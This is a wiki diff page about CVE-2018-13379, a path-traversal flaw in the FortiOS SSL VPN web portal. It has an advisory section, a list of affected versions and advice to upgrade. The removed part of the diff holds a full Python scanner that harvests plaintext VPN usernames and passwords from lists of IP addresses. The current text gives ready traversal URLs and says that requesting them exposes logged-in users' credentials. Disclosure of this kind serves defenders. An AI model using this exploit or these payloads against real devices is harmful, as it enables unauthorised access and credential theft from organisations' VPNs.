Differences between revisions 5 and 12 (spanning 7 versions)
Revision 5 as of 2019-12-17 15:54:26
Size: 4169
Editor: Sciuro
Comment:
Revision 12 as of 2021-08-12 18:27:51
Size: 2002
Editor: Sciuro
Comment:
Deletions are marked like this. Additions are marked like this.
Line 1: Line 1:
#acl All:
Line 8: Line 6:
The next URL is responsible: = POC =
The next example URL's are responsible:
Line 16: Line 15:
= POC =
There is a proof of concept on [[https://github.com/milo2012/CVE-2018-13379|GitHub]]
{{{
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
Just make a request to these URL's and you will get the information needed. Keep in mind that the length of the URL has to be this size. You can also find a proof of concept on [[https://github.com/milo2012/CVE-2018-13379|GitHub]]
Line 26: Line 17:
def checkIP(ip):
 try:
  url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
  headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
  r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
  img=r.raw.read()
  if "var fgt_lang =" in str(img):
   with open("sslvpn_websession_"+ip+".dat", 'w') as f:
    f.write(img)
   parseFile(ip)
   print "\n"
   return True
  else:
   return False
 except requests.exceptions.ConnectionError:
  return False
There is a strange fact that if you start a SSLVPN, you have to log in into the webportal on the internet facing part of the Fortigate. After a successful login, the device writes your IP address, username and password in plaintext to the temporary location ''/dev/cmdb/sslvpn_websession''. If you read this file, the current logged in users and passwords will be visible.
Line 43: Line 19:
def read_bytes(filename, chunksize=8192):
  try:
    with open(filename, "rb") as f:
      while True:
        chunk = f.read(chunksize)
        if chunk:
          for b in chunk:
            yield b
        else:
          break
  except IOError:
    pass

def is_character_printable(s):
  return all((ord(c) < 127) and (ord(c) >= 32) for c in s)
  
def validate_byte_as_printable(byte):
  if is_character_printable(byte):
    return byte
  else:
    return '.'

def parseFile(ip):
 print "[Checking: "+ip+"]"
 url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
 print "[*} Web session at: "+url
 filename="sslvpn_websession_"+ip+".dat"
 memory_address = 0
 ascii_string = ""
 for byte in read_bytes(filename):
   ascii_string = ascii_string + validate_byte_as_printable(byte)
   if memory_address%61 == 60:
     if ascii_string!=".............................................................":
      print ascii_string
     ascii_string = ""
   memory_address = memory_address + 1

parser = optparse.OptionParser()
parser.add_option('-f', action="store", dest="filename")
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-n', action="store", dest="numOfThreads")
options, remainder = parser.parse_args()
numOfThreads=10
ipList=[]
if options.ip:
 ipList.append(options.ip)
if options.filename:
 with open(options.filename) as f:
  ipList = f.read().splitlines()
if options.numOfThreads:
 numOfThreads=int(options.numOfThreads)
ipList = filter(None, ipList)

p = multiprocessing.Pool(processes=numOfThreads)
p.map(checkIP,ipList)
p.close()
}}}
Line 120: Line 39:
----
CategoryNetwork

General Disclosure

This is a path-traversal vulnerability in the FortiOS SSL VPN web portal that could potentially allow an unauthenticated attacker to download files through specially crafted HTTP resource requests. Fortinet advises customers to upgrade to FortiOS 5.4.13, 5.6.11, 6.0.6, 6.2.2.

POC

The next example URL's are responsible:

https://<IP>:<PORT>/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
https://<IP>:<PORT>/remote/fgt_lang?lang=/../../../..//////////////////////////////bin/sh
https://<IP>:<PORT>/remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd

Just make a request to these URL's and you will get the information needed. Keep in mind that the length of the URL has to be this size. You can also find a proof of concept on GitHub

There is a strange fact that if you start a SSLVPN, you have to log in into the webportal on the internet facing part of the Fortigate. After a successful login, the device writes your IP address, username and password in plaintext to the temporary location /dev/cmdb/sslvpn_websession. If you read this file, the current logged in users and passwords will be visible.

Affected Systems

Here is a list of the operating systems we have tested which are vulnerable to this attack:

  • FortiOS 6.0 - 6.0.0 to 6.0.4
  • FortiOS 5.6 - 5.6.3 to 5.6.7
  • FortiOS 5.4 - 5.4.6 to 5.4.12

Possible Mitigations

Please upgrade!

References


CategoryNetwork

CVE/2018/13379 (last edited 2021-08-12 18:27:51 by Sciuro)